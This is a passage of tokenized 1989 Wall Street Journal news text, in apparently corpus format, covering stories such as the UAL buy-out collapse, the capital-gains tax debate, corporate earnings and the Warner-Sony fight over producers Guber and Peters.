are claimed to have been spent on education to consumers when in fact this represents the costs of sending the newsletters . '' +Mr. Webster cites a four-page mailing from the United Cancer Council that offers a chance to win $ 5,000 in gold bullion to those giving as little as $ 5 to cancer education . +`` A few boilerplate warnings about cancer appear but that 's only two inches in all four pages . +I think some people may believe they 're helping fund a massive TV and print campaign , but we could n't find that the charity does anything except write these letters , '' he says . +Officials at the Washington D.C.-based charity did n't return repeated phone calls . +Many fly-by-night charities ride the coattails of the biggest , best-known and most reputable ones by adopting names similar to theirs . +The established charities are bothered by this but say they can do little about it . +`` We ca n't police the many organizations that have sprung up in the last few years using part of our name . +Most of them do n't last for long , but in the meantime all we can do is tell people they are n't connected with us , '' says a spokeswoman for the American Heart Association . +And sometimes a reputable charity with a household name gets used and does n't even know it . +A couple in Rockford , Ill. , raised $ 12,591 earlier this year using the name and logo of Mothers Against Drunk Driving , without permission from the group . +MADD did n't learn of the fund raising until the couple sent it a check for $ 613 , along with a letter saying that was the charity 's `` share . '' +The Illinois Attorney General won a court order to prevent the couple from raising further funds without MADD 's permission . +The couple could n't be reached for comment and apparently have left Rockford , law enforcement officials report . +Denise McDonald , a spokeswoman for MADD , says , `` It 's scary , because anybody could do this . '' +Mr. Johnson is a staff reporter in The Wall Street Journal 's Chicago bureau . +Overhead costs at some of the largest charities , in millions of dollars +British Airways PLC , a crucial participant in the proposed buy-out of UAL Corp. , washed its hands of the current efforts to revive a bid for the parent of United Airlines . +Specifically , the British carrier said it currently has no plans to participate in any new offer for UAL . +In addition , British Air officially withdrew its support for the previous $ 300-a-share bid in a terse statement that said `` the original deal is closed . '' +Company officials said later that British Airways believes its involvement in the UAL buy-out ended last Friday when the buy-out group , which also includes UAL 's management and pilot union , failed to obtain financing for the $ 6.79 billion transaction . +The carrier stopped short of saying it would n't at some point reconsider participating in any new bid for UAL . +However , company officials said they plan to take `` no initiatives '' to resurrect the transaction , and `` are n't aware '' of any restructured bid in the making . +Collectively , the statements raised questions about whether a new bid for UAL will ever get off the ground . +The transaction has had a series of setbacks since the financing problems became known last Friday , with no signs or statements from the buy-out group to indicate that any progress has taken place . +However , in response to the British Air decision , United 's pilot union vowed to continue efforts to revive the buy-out . +Pilot union Chairman Frederick C. Dubinsky said advisers to UAL management and the union will begin meeting in New York today and will work through the weekend to devise a new proposal to present to UAL 's board `` at the earliest time possible . '' +Pilot union advisers appeared confident that a new bid could go forward even without British Air 's participation . +UAL declined to comment on British Air 's statement . +UAL Chairman Stephen M. Wolf , who is leading the management end of the buy-out , has n't provided investors with any assurances about the prospect of a new deal . +In another setback yesterday , United 's machinist union asked the Treasury Department to investigate whether certain aspects of the original buy-out proposal violated tax laws . +In an effort to derail the buy-out , the union has already called for investigations by the Securities and Exchange Commission , Transportation Department and Labor Department . +But there was one bright spot yesterday . +The United flight-attendants union agreed to negotiations that could lead to the flight attendants contributing concessions to a revived bid in exchange for an ownership stake . +The pilot union , the only one to support the buy-out thus far , said the flight attendants ' decision `` enforces our belief that an all-employee owned airline is practical and achievable . '' +Still , without the assurance of British Airways ' financial backing , it will be tougher for the buy-out group to convince already-reluctant banks to make loan commitments for a revised bid , especially since British Air 's original investment represented 78 % of the cash equity contribution for the bid . +Under the previous plan , British Air would have received a 15 % stake in UAL in exchange for a $ 750 million equity investment , with a 75 % stake going to UAL employees and 10 % to UAL management . +British Air officials said the airline 's chairman , Lord King , was concerned about news reports indicating that British Air might be willing to participate in a bid that included a lower purchase price and better investment terms for the British carrier . +The previous reports were based on remarks by British Air 's chief financial officer , Derek Stevens , who said any revised bid would have to include a lower purchase price to reflect the sharp drop in UAL 's stock in the past week . +UAL stock dropped $ 1.625 yesterday to $ 190.125 on volume of 923,500 shares in composite trading on the New York Stock Exchange . +UAL declined to comment on British Air 's statement . +In an interview Wednesday with Dow Jones Professional Investor Report , Mr. Stevens said , `` We 're in no way committed to a deal going through at all . +We 're not rushing into anything . +We do n't want to be party to a second rejection . '' +Indeed , British Air seemed to be distancing itself from the troubled transaction early in an effort to avoid any further embarrassment . +The original transaction fell through on the same day British Air shareholders approved the plan at a special meeting after the British succeeded in arranging the financing for its equity contribution . +The carrier also seemed eager to place blame on its American counterparts . +`` The -LCB- buy-out -RCB- consortium ceased to exist because our American partners were not capable of organizing the financing , '' a British Air spokesman said . +British Airways may have begun to have second thoughts about the transaction after the Transportation Department forced Northwest 's Airlines ' new owners to restructure the equity contribution of KLM Royal Dutch Airlines in that carrier . +Most of the department 's statements since the Northwest transaction indicated it planned to curtail foreign ownership stakes in U.S. carriers . +Even before British Air 's announcement , pilot union leaders had been meeting in Chicago yesterday to consider their options . +The leaders expressed support for trying to revive the bid following a briefing Wednesday by the union 's advisers , Lazard Freres & Co. and Paul , Weiss , Rifkind Wharton & Garrison . +They also unanimously re-elected Mr. Dubinsky , the union chairman who has led the pilots ' 2 1\/2-year fight to take control of the airline . +UAL 's advisers have indicated previously that it may take a while to come forward with a revised plan since they want to have firm bank commitments before launching a new bid . +They have maintained that banks remain interested in financing the transaction . +The buy-out fell through after Citicorp and Chase Manhattan Corp. , the lead banks in the transaction , failed to obtain $ 7.2 billion in financing needed for the plan . +Italy 's industrial wholesale sales index rose 13.2 % in June from a year earlier , the state statistical institute Istat said . +The June increase compared with a rise of 10.5 % in May from a year earlier . +Domestic wholesale sales rose 11.9 % from a year earlier , while foreign sales jumped 17.3 % , Istat said . +For the first six months , wholesale sales rose 12.3 % from the year before , reflecting to a 11.5 % jump in domestic sales and a 14.6 % boost in foreign sales . +Sales of capital goods to foreign and domestic destinations increased 16.6 % in the January-June period from a year earlier . +Sales of consumer goods rose 6.9 % in the same period , while sales of intermediate goods were up 13.8 % from a year ago . +Senate Democrats favoring a cut in the capital-gains tax have decided , under pressure from their leaders , not to offer their own proposal , placing another obstacle in the path of President Bush 's legislative priority . +A core group of six or so Democratic senators has been working behind the scenes to develop a proposal to reduce the tax on the gain from the sale of assets . +The plan was complete except for finishing touches , and there was talk that it would be unveiled as early as yesterday . +But Senate Majority Leader George Mitchell -LRB- D. , Maine -RRB- , a vigorous opponent of the capital-gains tax cut , called the group to meet with him Wednesday night and again yesterday . +Sen. Mitchell urged them to desist . +Afterward , leaders of the dissident Democrats relented , and said they would n't offer their own proposal as they had planned . +The decision is a setback for President Bush , who needs the support of Democrats to pass the tax cut through the Democratic-controlled Senate . +Having a proposal sponsored by Democrats would have given the president an advantage . +Having only a Republican measure makes the task harder . +Still , Sen. Bob Packwood -LRB- R. , Ore. -RRB- , the lead sponsor of the Republican capital-gains amendment , predicted that the tax cut would be enacted this year . +He said a clear majority of senators back the tax reduction and that ultimately there would be enough senators to overcome any procedural hurdle the Democratic leadership might erect . +But Sen. Mitchell , buoyed by his victory among fellow Democrats , strongly disagreed . +Mr. Mitchell has been predicting that the president 's initiative would fail this year . +Yesterday , in an interview , he added that the Democrats ' decision `` increases the likelihood that a capital-gains tax cut will not pass this year . '' +Mr. Mitchell 's first victory came last week , when the Senate passed a deficit-reduction bill that did n't contain a capital-gains provision . +That vote made it unlikely that a capital-gains tax cut would be included in the final bill , now being drafted by House and Senate negotiators . +The House version of the bill does include the tax cut . +Now Republican leaders are concentrating on attaching a capital-gains amendment to some other bill , perhaps a measure raising the federal borrowing limit or a second tax bill that would follow on the heels of the deficit-reduction legislation . +To help lay the groundwork for that fight , President Bush plans early next week to meet at the White House with some 20 Democratic senators who favor cutting the capital-gains tax or are undecided on the issue . +The president apparently will have only one bill to push , Sen. Packwood 's , and at least some of the dissident Democrats plan to support it . +`` I may want to offer additional amendments to improve it when the bill comes to the floor , '' said Sen. David Boren -LRB- D. , Okla. -RRB- , a leader of those Democrats . +The Packwood plan , as expected , would allow individuals to exclude from income 5 % of the gain from the sale of a capital asset held for more than one year . +The exclusion would rise five percentage points for each year the asset was held , until it reached a maximum of 35 % after seven years . +The exclusion would apply to assets sold after Oct. 1 . +As an alternative , taxpayers could chose to reduce their gains by an inflation index . +For corporations , the top tax rate on the sale of assets held for more than three years would be cut to 33 % from the current top rate of 34 % . +That rate would gradually decline to as little as 29 % for corporate assets held for 15 years . +The Packwood plan also would include a proposal , designed by Sen. William Roth -LRB- R. , Del. -RRB- , that would create new tax benefits for individual retirement accounts . +The Roth plan would create a new , non-deductible IRA from which money could be withdrawn tax-free not only for retirement , but also for the purchase of a first home , education expenses and medical expenses . +Current IRAs could be rolled over into the new IRAs , but would be subject to tax though no penalty . +Westmoreland Coal Co. , realizing benefits of a sustained effort to cut costs and boost productivity , reported sharply improved third-quarter results . +The producer and marketer of low-sulfur coal said net income for the quarter was $ 5.9 million , or 71 cents a share , on revenue of $ 145.4 million . +For the year-earlier period , the company reported a loss of $ 520,000 or six cents a share . +In the latest nine months , the company earned $ 8.5 million , or $ 1.03 a share . +Last year 's net loss of $ 3,524,000 included a benefit of $ 1,640,000 from an accounting change . +Revenue for the nine months rose to $ 449 million from $ 441.1 million . +In an interview , Pemberton Hutchinson , president and chief executive , cited several reasons for the improvement : higher employee productivity and `` good natural conditions '' in the mines , as well as lower costs for materials , administrative overhead and debt interest . +In the latest nine months , Mr. Hutchinson said , total coal sales rose to about 14.6 million tons from about 14.3 million tons a year earlier . +In addition , long-term debt has been trimmed to about $ 72 million from $ 96 million since Jan. 1 . +He predicted the debt ratio will improve further in coming quarters . +Westmoreland 's strategy is to retain and expand its core business of mining and selling low-sulphur coal in the Appalachia region . +The operating territory includes coal terminals on the Ohio River and in Newport News , Va . +Westmoreland exports about a fourth of its coal tonnage , including a significant amount of metallurgical coal produced by others that is used by steelmakers overseas . +For the past couple of years , Westmoreland has undertaken an aggressive streamlining of all aspects of its business . +Marginal operations and assets have been sold . +The size of the company 's board has been reduced to eight directors from 13 . +About 140 salaried management jobs and hundreds of hourly wage positions have been eliminated . +Even perks have been reduced . +For example , the chief executive himself now pays 20 % of the cost of his health benefits ; the company used to pay 100 % . +`` I think the ship is now righted , the bilges are pumped and we are on course , '' Mr. Hutchinson said of the restructuring program . +`` Much of what we set out to do is completed . '' +But he cautioned that Westmoreland 's third quarter is typically better than the fourth , so investors `` should n't just multiply the third quarter by four '' and assume the same rate of improvement can be sustained . +One difference , he said , is that the fourth quarter has significantly fewer workdays because of holidays and the hunting season . +`` I do n't want to give the impression that everybody can relax now , '' he said . +`` We have to keep working at improving our core business to stay efficient . +It 's a process that never really ends . '' +Nevertheless , Mr. Hutchinson predicted that 1989 would be `` solidly profitable '' for Westmoreland and that 1990 would bring `` more of the same . '' +For all of 1988 , the company reported an after-tax operating loss of $ 134,000 on revenue of $ 593.5 million . +An accounting adjustment made net income $ 1.5 million , or 18 cents a share . +In a move that complements the company 's basic strategy , its Westmoreland Energy Inc. unit is developing four coal-fired cogeneration plants with a partner in Virginia . +Some of the coal the plants buy will come from Westmoreland mines . +Mr. Hutchinson predicted that the unit 's contribution to company results in the 1990s `` will be exciting . '' +He said Westmoreland is looking at investment stakes in other cogeneration plants east of the Mississippi River . +Westmoreland expects energy demand to grow annually in the 2.5 % range in the early 1990s . +`` We see coal 's piece of the action growing , '' Mr. Hutchinson said . +`` Coal prices , while not skyrocketing , will grow modestly in real terms , we think . +Chase Manhattan Corp. , after trying unsuccessfully to sell its interest in its lower Manhattan operations building , has exercised its option to purchase the 50-story office tower . +Chase had purchased an option to buy the building at One New York Plaza for an undisclosed sum from the late Sol Atlas as part of its original lease in 1970 . +The current transaction cost the bank approximately $ 140 million . +Of that amount , $ 20 million was payment for the land underneath the building and the rest was for the building itself . +The building houses about 4,500 Chase workers , most of whom will be moved to downtown Brooklyn after the bank 's new back office center is completed in 1993 . +The move is part of Chase 's strategy to consolidate its back offices under one roof . +The headquarters is located a few blocks away at 1 Chase Manhattan Plaza . +As part of its decision to leave the building , Chase tried to sell its interest , along with the Atlas estate 's interest , shortly after the October 1987 stock market crash . +Chase Senior Vice President George Scandalios said the bank decided to exercise its option after bids fell short of expectations . +He said Chase and the Atlas estate were looking to sell the entire building for $ 400 million to $ 475 million , but did n't get an offer for more than $ 375 million . +As the building 's new owner , Chase will have its work cut out for it . +Chase is vacating 1.1 million square feet of space , and Salomon Brothers Inc. , whose headquarters is in the building , also plans to move shortly . +In addition , another major building tenant , Thomson McKinnon Inc. 's Thomson McKinnon Securities , likely will vacate the premises as part of its liquidation . +New York real estate brokerage Edward S. Gordon Co. will have the difficult task of finding new tenants . +Even with its striking views of the New York harbor , the building is considered antiquated by modern office standards . +And Chase will have to spend approximately $ 50 million to remove asbestos from the premises . +WALL STREET , SHAKE hands with George Orwell . +The author of the futuristic novel `` 1984 '' invented a language called Newspeak that made it impossible to fully develop a heretical thought -- that is , anything negative about the policies and practices of the state . +Wall Street has n't gotten that far yet , but it has made a promising start . +Its language -- call it Streetspeak -- is increasingly mellifluous , reassuring , and designed to make financial products and maneuvers appear better , safer or cheaper than they really are . +When something undeniably nasty happens , a few euphemisms are deployed to simply make it disappear , much as a fresh grave may be covered by a blanket of flowers . +For example , we 'll bet you thought that the stock market crashed two years ago . +Wrong . +According to some of the grand panjandrums of the market , it never happened . +In their lexicon the 508-point collapse in the Dow Jones Industrial Average on Oct. 19 , 1987 , was just a big blip . +Trotting out a much-beloved Streetspeak term , New York Stock Exchange Chairman John Phelan recently declared that history would record the event as only `` a major technical correction . '' +-LRB- Another much-beloved saying , however , this one in plain English , holds that if something walks like a duck and quacks like a duck , it is a duck . +On Oct. 29 , 1929 -- a date historians stubbornly insist on associating with the dreaded C-word -- the DJ industrials fell 12.8 % . +In the `` technical correction '' of two years ago , they lost a whopping 22.6 % . -RRB- +Customers hear a lot of this stuff from people who try to sell them stock . +These people used to be called brokers , but apparently this word either is not grandiose enough or carries too many negative connotations from the aforementioned technical correction , when terrified customers could n't raise brokers on the phone . +Either way , the word `` broker '' is clearly out of favor . +Of the major New York-based securities firms , only Morgan Stanley & Co. still calls its salespeople brokers . +At Merrill Lynch & Co. and Shearson Lehman Hutton Inc. , they are `` financial consultants . '' +At Drexel Burnham Lambert Inc. , Prudential Bache Securities , and Dean Witter Reynolds Inc. , they are `` account executives . '' +At PaineWebber Inc. , they are `` investment executives . '' +Such titles are designed to convey a sense of dignified , broad-scale competence and expertise in selling today 's myriad financial products . +It is a competence and expertise that some brokers themselves , overwhelmed by all the new things being dreamed up for them to peddle , do n't feel . +`` It s almost product de jour , '' grouses one account executive at Dean Witter . +The transmogrified brokers never let the C-word cross their lips , instead stressing such terms as `` safe , '' `` insured '' and `` guaranteed '' -- even though these terms may be severely limited in their application to a particular new financial product . +The names of some of these products do n't suggest the risk involved in buying them , either . +A case in point : `` government-plus '' bond funds . +What could imply more safety than investing in government bonds ? +What could be better than getting a tad more income from them -LRB- the plus -RRB- than other people ? +Indeed , conservative investors , many of them elderly , have poured more than $ 50 billion into such funds , which promise fatter yields than ordinary Treasury bonds -- only to learn later that these funds use part of their money to dabble in high-risk bond options , a gambler 's game . +When a certain class of investment performs so poorly that its reputation is tarnished , look for Wall Street to give it a new moniker . +This seems to be happening now to limited partnerships , many of which either have gone into the tank in recent years or have otherwise been grievous disappointments . +They are still being sold , but more and more often as `` direct investments '' -- with all the same risks they had under the old label . +In such cases , the game has n't changed , only the name . +In others a familiar old name still prevails , but the underlying game has changed . +For example , `` no load '' mutual funds remain a favorite with investors because they do n't carry a frontend sales commission . +Getting out of them , however , may be a different story now . +Traditional no-loads made their money by charging an annual management fee , usually a modest one ; they imposed no other fees , and many still do n't . +In recent years , though , a passel of others flying the no-load flag have been imposing hefty charges -- all the way up to 6 % -- when an investor sells his shares . +Should n't they properly be called exit-load funds ? +The mutual-fund industry is debating the question , but do n't expect a new name while the old one is working so well . +And do n't expect anyone to change the term `` blue chip , '' either , even though some of the companies that still enjoy the title may be riskier investments than they were . +American Telephone & Telegraph Co. , for one , is still a favorite of widows , orphans and trust departments -- but shorn of its regional telephone units and exposed to competition on every side , it is a far different investment prospect than it was before divestiture . +Also , blue chips in general have suffered much more short-term price volatility in recent years . +Larry Biehl , a money manager in San Mateo , Calif. , blames that on the advent of program trading , in which computers used by big institutional investors are programmed to buy and sell big blocks when certain market conditions prevail . +Blue chips , he says , `` are now being referred to as poker chips . '' +Finally , even the time-honored strategy called `` value investing '' no longer means what it once did . +Before the takeover mania of the '80s , it referred to rooting out through analysis undervalued stocks , especially those with shrewd management , sound fundamentals and decent prospects . +Now , says Mr. Biehl , value investing often means `` looking for downtrodden companies with terrible management that are in real trouble . '' +To institutional investors or brokers , he adds , a company with value is a company at risk of being swallowed up . +Ms. Bettner covers personal finance from The Wall Street Journal 's Los Angeles bureau . +I was amused to read your recent news stories on the banking industry 's reserve additions and concomitant threats to cease making new loans to less-developed countries . +If the whole story were told , it would read something like this : +-- During the 1970s the commercial banks lured the country loan business away from the bond markets where the discipline of a prospectus and `` Use of Proceeds '' confirmation allowed lenders to audit expenditures of old loans before new loans were made . +-- The reward for that reckless lending was high reported earnings -LRB- and management bonuses -RRB- ; the price , a sea of bad loans . +-- For the past several years , the banks , lacking a private navy to enforce their interests , have been pressuring the U.S. Treasury to underwrite their bad LDC credits . +-- The Treasury wisely has refused , but has concluded that indirect credit support through various multinational agencies should be made available for a price : either debt reduction or debt-service reduction or new loans -LRB- the Brady Plan -RRB- . +-- The banks will threaten not to make further loans , but in truth , lacking the capital to write off their mistakes or to build a navy , they have no alternative but to go along . +George A. Wiegers +Gillette Co. elected Warren E. Buffett , chairman of Berkshire Hathaway Inc. , to its board , increasing the number of directors to 12 from 11 . +Berkshire Hathaway earlier this year bought $ 600 million of preferred stock in Gillette that is convertible into an 11 % stake , and Gillette said at the time that Mr. Buffett would be added to the board . +Separately , Gillette said its third-quarter earnings rose 2 % to $ 65.2 million , or 57 cents a share , from $ 63.9 million , or 57 cents a share , in the year-earlier period ; per-share earnings remained flat despite an increase in net income in part because the company paid a $ 10.4 million dividend on the new preferred stock in the period . +Sales rose 9 % to $ 921.6 million from $ 845.7 million , with sales of the company 's international\/diversified operations `` well above '' the year earlier-period . +For the nine months , Gillette 's net income declined 1 % to $ 205.3 million , or $ 2.02 a share , from $ 207 million , or $ 1.82 a share , in the 1988 period . +Sales rose 6 % to $ 2.77 billion from $ 2.61 billion . +In composite trading on the New York Stock Exchange , the company closed yesterday at $ 45.50 a share , up 25 cents . +When Walter Yetnikoff , the president of Sony Corp. 's CBS Records , last month told producer Peter Guber that Sony was about to make a $ 3.4 billion bid for Columbia Pictures and needed someone to run the studio , Mr. Guber jumped at the chance . +Within two days , he was on his way to New York and Tokyo to meet with top brass at Sony . +And before the week was out , Sony had offered Mr. Guber and his partner , Jon Peters , the most lucrative employment contracts in the history of the movie business . +Not only that , Sony also agreed to give them a stake in Columbia 's future profits and buy their company , Guber Peters Entertainment Co. , for $ 200 million , almost 40 % more than the market value of the company . +There was just one sticking point : The two had a prior commitment . +Just seven months earlier , they had signed a five-year exclusive contract to make movies for Warner Bros. for which they had just produced the smash hit `` Batman . '' +But Mr. Guber figured that Warner Communications Inc. chairman Steven Ross , would empathize and let the producers go , knowing the Sony offer was `` the culmination of a life 's work . '' +He figured wrong . +Last week , following fruitless settlement talks , Warner , now merging with Time Inc. , filed a $ 1 billion breach of contract suit in Los Angeles Superior Court against both Sony and Guber Peters . +Sony promptly countersued , charging Warner with trying to sabotage its acquisitions and hurt its efforts to enter the U.S. movie business . +The accusations of lying and duplicity are flying thick and fast on both sides : As one Sony executive puts it , `` It 's World War III . '' +That two successful producers who are n't all that well known outside Hollywood could occasion such a clash of corporate titans suggests how desperate the quest for proven talent is in the movie business . +And they are a very odd team in any case . +Mr. Guber was raised in Boston and educated in New York . +He is a lawyer with a string of academic degrees . +Mr. Peters is a high-school dropout who came to fame as Barbra Streisand 's hairdresser . +Yet , they are far and away the most prolific producers in Hollywood . +And despite their share of duds , they make movies that make money . +That is a skill Sony badly needs -- and Warner is loath to lose . +Although Columbia had a good summer with `` Ghostbusters II '' and `` When Harry Met Sally , '' rivals such as Warner , Paramount Pictures , Walt Disney Co. and Universal Studios have been thrashing Columbia at the box office . +After five years of management turmoil , with four different studio heads , Columbia sorely needs a stable , savvy team to restore its credibility and get it back in the business of making hits . +Mr. Guber and Mr. Peters are n't universally loved in Hollywood but they are well connected . +Their stock in trade as `` executive producers '' is sniffing out hot properties , locking them up and then getting big studios to bankroll and distribute them . +Sometimes Mr. Guber and Mr. Peters do little more than grab the first draft of a screenplay for a `` Flashdance , '' or buy rights to a best seller such as `` The Color Purple . '' +It falls to others to do the writing , directing and producing . +With MGM\/UA 's `` Rainman , '' for instance , Messrs. Guber and Peters had virtually nothing to do with day-to-day production , but their names still appear in big letters on the credits , and they are inevitably associated with its success . +Sometimes , as with `` Batman , '' the pair really do make the film . +In that case , Guber Peters acquired the rights in 1979 , nursed the movie through a dozen scripts , and were on the set in London for 11 months hovering over the most minute changes in casting and production . +`` They 're the best production talent around , '' says Brian De Palma , beholden to Guber Peters for hiring him to direct the Warner movie of Tom Wolfe 's novel `` Bonfire of the Vanities . '' +On that film , which is to start shooting in a few months , `` they 've been very much involved , hiring talent and discussing the development of the script . +And when you 're making a movie this big , you need all the help you can get , '' Mr. De Palma adds . +`` I wish they were around 24 hours a day . '' +And some movies seem to have been hurt by their inattention . +Warner executives blame Mr. Guber 's and Mr. Peters 's lack of involvement in `` Caddyshack II '' for casting and production problems and the film 's ultimate dismal failure . +`` We 've had a few bombs , '' admits Mr. Peters . +`` But by and large this company has only been profitable . '' +He says his company 's prowess at packaging and marketing `` is why we 'll be good at Columbia . +We practically ran our own studio . '' +Longtime Hollywood associates describe Mr. Guber as the intellectual powerhouse of the two , a man with a flair for deal-making and marketing . +`` Peter is a major piece of Hollywood manpower who has really earned his success , '' says Robert Bookman , an agent at Creative Artists Agency . +Mark Johnson , the producer of `` Rainman , '' chimes in : `` He has a great ability to hire terrific people and delegate authority ... . +It 's no accident that they 've been able to develop such successful material . '' +Mr. Peters , on the other hand , has fewer fans in Hollywood , and his detractors like to characterize him as something of a hot-tempered bully . +He gets better reviews as a creative whiz , an enthusiast , an idea man . +He also had to fight harder for credibility than his partner did . +Barbra Streisand made him famous . +He cut her hair . +He lived with her . +He came to produce her records and her movies -- `` A Star Is Born '' and `` The Main Event . '' +Thrice married but now single , Mr. Peters got plenty of ink last summer for an on-set romance with actress Kim Basinger during the making of `` Batman . '' +Mr. Guber , by contrast , has been married to one woman for more than 20 years . +But for all their intellectual and stylistic differences , they make the perfect `` good cop , bad cop '' team , Hollywood associates say . +`` Peter is the bright , sympathetic guy when you 're doing a deal , '' says one agent . +`` If there 's a problem , Peter disappears , and all of a sudden Jon shows up . '' +Mr. Guber and Mr. Peters rub many people in Hollywood the wrong way . +Producers Don Simpson and Jerry Bruckheimer , who shepherded `` Flashdance '' through several scripts and ultimately produced the movie , bristle when Messrs. Guber and Peters take credit for the film . +Says Mr. Simpson : `` The script was unreadable . +We reinvented it . +We are the producers of that movie . +They got a small piece of the net profits and a screen credit '' as executive producers . +When Roger Birnbaum , an executive who worked for Guber Peters in the early 1980s , left to take a job as head of production at the United Artists studio , they made him forfeit all credits and financial interest in the films he had helped develop , including `` Rainman '' and `` Batman . '' +Mr. Peters acknowledges that and says it 's not unlike the situation he and Mr. Guber are in with Warner . +`` I was upset with Roger , I fumpered and schmumpered , '' says Mr. Peters . +`` But he wanted to pursue his own dream , and he went . '' +Still , Mr. Birnbaum says his relationship with Guber Peters was `` one of the most successful I 've had in Hollywood . '' +The two `` have a wonderful chemistry -- Jon is very impulsive , and Peter is very compulsive , '' adds Mr. Birnbaum , who is now head of production at News Corp. 's 20th Century Fox Film Co . +`` Jon Peters will come barreling into a room , say he 's got a great idea , and be gone . +Peter will take the kernel of that idea and make it grow into something specific ... . '' +Mr. Birnbaum recalls that Mr. Guber and Mr. Peters shifted into high gear a few years back upon learning that they had competition for the story of the murdered naturalist Dian Fossey , which became `` Gorillas in the Mist . '' +He says , `` Within a few weeks , we made deals with the government of Rwanda and everyone who had ever met or talked to Dian Fossey . +I think Peter even made some deals with the gorillas . '' +Universal Studios was working on a competing film , but the studio and its producers ultimately agreed to co-produce the film with Guber Peters and Warner . +More recently , Guber Peters beat out a dozen other producers , reportedly including Robert Redford and Ted Turner , for rights to the life story of Chico Mendes , the murdered Brazilian union leader who fought developers in the Amazon rain forest . +Messrs. Guber and Peters assiduously courted the man 's widow for months , showing her a tape of `` Gorillas in the Mist '' to impress her with the quality of their work . +Money helped , too . +Ultimately , they paid more than $ 1 million for the rights . +-LRB- The sale caused a rift between the widow and some of her husband 's followers . +Some of the money will go to the Chico Mendes Foundation , but it is n't earmarked for groups trying to save the rain forest . -RRB- +It 's hardly astonishing -LRB- given the men 's track record -RRB- that Sony wants Mr. Guber and Mr. Peters . +But it is puzzling to some Hollywood executives that Sony rushed to hire them without clearing up the Warner situation first . +Some note that Sony might have saved itself some trouble by just hiring Mr. Guber and letting Mr. Peters stay on to fulfill the Warner contract . +But though `` people in town may ask why Guber needs Peters , it 's good to have a partner , and obviously the chemistry works , '' says Steven Tisch , a producer who once worked for Mr. Guber . +`` This business is n't about personalities at the end of the day -- it s about whether the ink is red or black . +In the case of Peter and Jon , the ink has been very , very black . '' +Mr. Guber got his start in the movie business at Columbia two decades ago . +Recruited from New York University 's MBA program , he rose within two years to head of production , overseeing such films as `` The Way We Were , '' `` Taxi Driver , '' `` Tommy '' and `` Shampoo . '' +In 1976 , he teamed up with record producer Neil Bogart in Casablanca Records and Filmworks -- later called Polygram Pictures -- where they produced such hits as as `` The Deep , '' and `` Midnight Express . '' +In 1980 , Mr. Guber got together with Mr. Peters , by then a successful producer in his own right , after the death of Mr. Bogart . +While Guber Peters produced a number of hits for Warner and others , their record was n't always so impressive . +Among their clinkers were `` The Legend of Billie Jean , '' `` VisionQuest , '' `` Clue '' and `` Clan of the Cave Bear . '' +And the failures make it possible for Warner in its current lawsuit to paint the producers as ingrates . +The studio says it stuck with them `` even in the early years when the creative partnership was not particularly profitable for Warner . '' +Mr. Guber replies that `` this is a Goliath , this Time Warner , trying to chew up two fellows who have done only well for them for a long period of time . '' +Mr. Guber and Mr. Peters maintain that executives at Warner have always known of their ambitions to run a major entertainment powerhouse , but that Warner never felt threatened until they linked up with Sony . +`` From the beginning , -LCB- they -RCB- knew we had a goal and a dream , '' says Mr. Guber . +On a number of occasions , he adds , he tried to get Warner to buy Guber Peters outright . +`` They always listened , but they never acted , '' Mr. Guber says . +In 1987 , Mr. Guber and Mr. Peters contributed their company 's assets in exchange for a 28 % stake in Barris Entertainment , a small-fry TV production company controlled by Giant Industries Inc. Chairman Burt Sugarman . +In July a year later , Warner agreed to release the producers from their old contract when Messrs. Guber , Peters and Sugarman made a $ 100 million offer to buy 25 % of MGM\/UA . +Mr. Guber and Mr. Peters planned to run the nearly dormant MGM studio , and the two even tried to interest Warner Bros . ' President Terry Semel in becoming a partner after he advised them on the deal . +But the MGM plan collapsed just two weeks later . +Mr. Guber and Mr. Peters say they got a look at the books and balked at the price . +Their relationship with Mr. Sugarman soured shortly thereafter . +Last May , he sold his 24 % stake in Barris to a passive Australian investor and Barris was renamed Guber Peters Entertainment Co . +Meanwhile , Mr. Guber and Mr. Peters had agreed to extend their Warner agreement with the new five-year exclusive contract . +The new deal was considered the most generous of its kind , both financially and in terms of creative freedom . +But it paled by comparison to what Sony was to offer last month : the chance , at last , to run a major studio , about $ 50 million in deferred compensation , up to 10 % of Columbia 's future cash flow , 8 % of the future appreciation of Columbia 's market value , and annual salaries of $ 2.7 million for each . +The producers ' 28 % share of publicly held Guber Peters would net them an additional $ 50 million . +Sony also agreed to indemnify the producers against any liability to Warner . +Sony is paying a hefty price for a company that had revenue of only $ 42 million last year . +And earnings have been erratic . +In the the latest quarter , thanks in part to `` Batman , '' Guber Peters earned $ 5.8 million , or 50 cents a share , compared to a loss of $ 6.8 million , or 62 cents a share , in last year 's quarter . +Guber Peters stock , which traded as low as $ 6 a share last year , closed yesterday at $ 16.625 . +The two sides now are accusing each other of lying . +Mr. Guber and Mr. Peters claim they have an oral agreement with Warner executives that allows them to terminate their contract should the opportunity to run a major studio arise . +But in affidavits filed yesterday in the Los Angeles court , Mr. Ross , Warner Bros. Chairman Robert Daly and President Semel deny that such an oral agreement was ever made . +Warner , in its court filings , calls it `` a piece of fiction created for this litigation . '' +Mr. Daly in his affidavit acknowledges that Warner agreed to release the producers last year to take over MGM but says that situation was altogether different . +For one thing , according to Mr. Daly , the producers requested a release in advance . +Moreover , the old contract was about to expire , and the lineup of Guber Peters pictures for Warner was n't as strong as it is now . +Warner itself was in negotiations with MGM over certain movie and other rights , and it was `` in Warner 's interest to accommodate MGM\/UA , Guber and Peters by permitting them to become MGM executives , '' Mr. Daly said in his affidavit . +Warner obviously does n't think that it is in its own interests to let Mr. Guber and Mr. Peters go off to Columbia . +At the very least , Mr. Ross clearly sees an opportunity to use the two men to get a pound of flesh from Sony . +During settlement talks , for example , Warner demanded such things as cable TV rights to Columbia movies and Columbia 's interest in the studio it jointly owns with Warner , according to executives involved in the talks . +In any settlement , Warner is almost certain to demand rights to most of the 50 or so projects Mr. Guber and Mr. Peters have locked up for the next few years , notably sequels to `` Batman . '' +Mr. Guber and Mr. Peters refuse to concede that they may have made a tactical error in accepting the Sony offer before taking it up with Warner . +And they say there are plenty of precedents in Hollywood for letting people out of contracts . +The last time Columbia Pictures was looking for a studio chief , they note , Warner released producer David Puttnam from his contract , then took him back after he was subsequently fired by his bosses at Columbia . +In his affidavit filed yesterday , Warner 's Mr. Ross indicated he is n't buying any such argument : `` If Sony succeeds here , no written contract in Hollywood will be worth the paper it 's written on . +THE SALES PITCH could n't sound better . +First , there 's the name : `` asset-backed securities . '' +Better than all those offers you get to buy securities backed by nothing . +And there 's more . +The assets backing the securities come from some of the country 's biggest -- and most secure -- institutions . +Most earn high ratings from credit agencies . +Their 